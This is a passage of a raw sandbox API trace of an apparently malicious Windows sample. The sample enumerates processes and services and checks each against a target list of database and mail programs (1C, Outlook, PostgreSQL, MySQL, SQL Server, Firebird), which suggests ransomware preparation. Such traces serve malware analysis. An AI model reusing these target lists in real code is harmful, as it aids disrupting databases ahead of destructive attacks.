dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0236.386] lstrlenW (lpString="lsm.exe") returned 7 [0236.386] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0236.386] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0236.386] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0236.386] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0236.386] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0236.386] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0236.386] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0236.386] Process32NextW (in: hSnapshot=0x2d8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.386] lstrlenW (lpString="svchost.exe") returned 11 [0236.386] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0236.386] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0236.386] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0236.386] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0236.386] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0236.386] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0236.386] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0236.386] Process32NextW (in: hSnapshot=0x2d8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.387] lstrlenW (lpString="svchost.exe") returned 11 [0236.387] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0236.387] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0236.387] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0236.387] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0236.387] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0236.387] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0236.387] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0236.387] Process32NextW (in: hSnapshot=0x2d8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.387] lstrlenW (lpString="svchost.exe") returned 11 [0236.387] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0236.387] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0236.387] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0236.387] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0236.387] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0236.387] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0236.387] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0236.387] Process32NextW (in: hSnapshot=0x2d8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0236.388] lstrlenW (lpString="LogonUI.exe") returned 11 [0236.388] lstrcmpiW (lpString1="1c8.exe", lpString2="LogonUI.exe") returned -1 [0236.388] lstrcmpiW (lpString1="1cv77.exe", lpString2="LogonUI.exe") returned -1 [0236.388] lstrcmpiW (lpString1="outlook.exe", lpString2="LogonUI.exe") returned 1 [0236.388] lstrcmpiW (lpString1="postgres.exe", lpString2="LogonUI.exe") returned 1 [0236.388] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="LogonUI.exe") returned 1 [0236.388] lstrcmpiW (lpString1="mysqld.exe", lpString2="LogonUI.exe") returned 1 [0236.388] lstrcmpiW (lpString1="sqlservr.exe", lpString2="LogonUI.exe") returned 1 [0236.388] Process32NextW (in: hSnapshot=0x2d8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.388] lstrlenW (lpString="svchost.exe") returned 11 [0236.388] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0236.388] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0236.388] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0236.388] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0236.388] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0236.388] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0236.388] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0236.388] Process32NextW (in: hSnapshot=0x2d8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.389] lstrlenW (lpString="svchost.exe") returned 11 [0236.389] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0236.389] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0236.389] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0236.389] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0236.389] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0236.389] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0236.389] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0236.389] Process32NextW (in: hSnapshot=0x2d8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0236.389] lstrlenW (lpString="audiodg.exe") returned 11 [0236.390] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0236.390] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0236.390] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0236.390] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0236.390] Process32NextW (in: hSnapshot=0x2d8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.390] lstrlenW (lpString="svchost.exe") returned 11 [0236.390] Process32NextW (in: hSnapshot=0x2d8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.390] lstrlenW (lpString="svchost.exe") returned 11 [0236.390] Process32NextW (in: hSnapshot=0x2d8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0236.391] lstrlenW (lpString="userinit.exe") returned 12 [0236.391] Process32NextW (in: hSnapshot=0x2d8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0236.391] lstrlenW (lpString="dwm.exe") returned 7 [0236.391] Process32NextW (in: hSnapshot=0x2d8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0236.391] lstrlenW (lpString="explorer.exe") returned 12 [0236.391] Process32NextW (in: hSnapshot=0x2d8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0236.392] lstrlenW (lpString="spoolsv.exe") returned 11 [0236.392] Process32NextW (in: hSnapshot=0x2d8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0236.392] lstrlenW (lpString="taskhost.exe") returned 12 [0236.392] Process32NextW (in: hSnapshot=0x2d8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.392] lstrlenW (lpString="svchost.exe") returned 11 [0236.392] Process32NextW (in: hSnapshot=0x2d8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0236.392] lstrlenW (lpString="uyuquk.exe") returned 10 [0236.392] Process32NextW (in: hSnapshot=0x2d8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0236.393] lstrlenW (lpString="reader_sl.exe") returned 13 [0236.393] Process32NextW (in: hSnapshot=0x2d8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0236.393] lstrlenW (lpString="cmd.exe") returned 7 [0236.393] Process32NextW (in: hSnapshot=0x2d8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0236.393] lstrlenW (lpString="conhost.exe") returned 11 [0236.393] Process32NextW (in: hSnapshot=0x2d8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0236.394] CloseHandle (hObject=0x2d8) returned 1 [0236.394] Sleep (dwMilliseconds=0x1f4) [0236.995] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3afc4a0 [0236.995] EnumServicesStatusExW (in: hSCManager=0x3afc4a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0236.995] GetLastError () returned 0xea [0236.995] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc9a) returned 0x424b818 [0236.995] EnumServicesStatusExW (in: hSCManager=0x3afc4a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x424b818, cbBufSize=0xc9a, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x424b818, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0236.995] CloseServiceHandle (hSCObject=0x3afc4a0) returned 1 [0236.996] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0236.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0236.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0236.996] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0236.996] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0236.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0236.996] lstrlenW (lpString="AudioSrv") returned 8 [0236.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0236.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0236.996] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0236.996] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0236.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0236.996] lstrlenW (lpString="BFE") returned 3 [0236.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0236.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0236.996] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0236.996] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0236.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0236.996] lstrlenW (lpString="CryptSvc") returned 8 [0236.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0236.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0236.996] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0236.996] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0236.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0236.996] lstrlenW (lpString="CscService") returned 10 [0236.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0236.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0236.996] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0236.996] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0236.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0236.996] lstrlenW (lpString="DcomLaunch") returned 10 [0236.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0236.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0236.997] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0236.997] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0236.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0236.997] lstrlenW (lpString="Dhcp") returned 4 [0236.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0236.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0236.997] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0236.997] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0236.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0236.997] lstrlenW (lpString="Dnscache") returned 8 [0236.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0236.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0236.997] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0236.997] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0236.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0236.997] lstrlenW (lpString="DPS") returned 3 [0236.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0236.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0236.997] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0236.997] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0236.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0236.999] lstrlenW (lpString="eventlog") returned 8 [0236.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0236.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0236.999] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0236.999] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0236.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0236.999] lstrlenW (lpString="EventSystem") returned 11 [0236.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0236.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0236.999] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0236.999] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0236.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0236.999] lstrlenW (lpString="gpsvc") returned 5 [0236.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0236.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0236.999] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0236.999] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0236.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0236.999] lstrlenW (lpString="LanmanWorkstation") returned 17 [0237.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0237.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0237.000] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0237.000] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0237.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0237.000] lstrlenW (lpString="lmhosts") returned 7 [0237.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0237.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0237.000] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0237.000] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0237.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0237.000] lstrlenW (lpString="MMCSS") returned 5 [0237.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0237.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0237.000] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0237.000] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0237.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0237.000] lstrlenW (lpString="MpsSvc") returned 6 [0237.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0237.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0237.000] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0237.000] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0237.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0237.000] lstrlenW (lpString="NlaSvc") returned 6 [0237.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0237.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0237.000] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0237.000] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0237.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0237.000] lstrlenW (lpString="nsi") returned 3 [0237.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0237.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0237.000] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0237.000] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0237.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0237.001] lstrlenW (lpString="PcaSvc") returned 6 [0237.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0237.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0237.001] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0237.001] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0237.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0237.001] lstrlenW (lpString="PlugPlay") returned 8 [0237.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0237.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0237.001] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0237.001] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0237.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0237.001] lstrlenW (lpString="Power") returned 5 [0237.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0237.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0237.001] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0237.001] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0237.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0237.001] lstrlenW (lpString="ProfSvc") returned 7 [0237.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0237.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0237.001] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0237.001] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0237.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0237.001] lstrlenW (lpString="RpcEptMapper") returned 12 [0237.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0237.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0237.001] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0237.001] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0237.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0237.001] lstrlenW (lpString="RpcSs") returned 5 [0237.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0237.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0237.001] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0237.001] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0237.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0237.002] lstrlenW (lpString="SamSs") returned 5 [0237.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0237.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0237.002] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0237.002] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0237.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0237.002] lstrlenW (lpString="Schedule") returned 8 [0237.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0237.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0237.002] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0237.002] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0237.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0237.002] lstrlenW (lpString="SENS") returned 4 [0237.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0237.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0237.002] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0237.002] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0237.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0237.002] lstrlenW (lpString="ShellHWDetection") returned 16 [0237.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0237.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0237.002] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0237.002] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0237.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0237.002] lstrlenW (lpString="Spooler") returned 7 [0237.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0237.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0237.002] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0237.002] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0237.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0237.002] lstrlenW 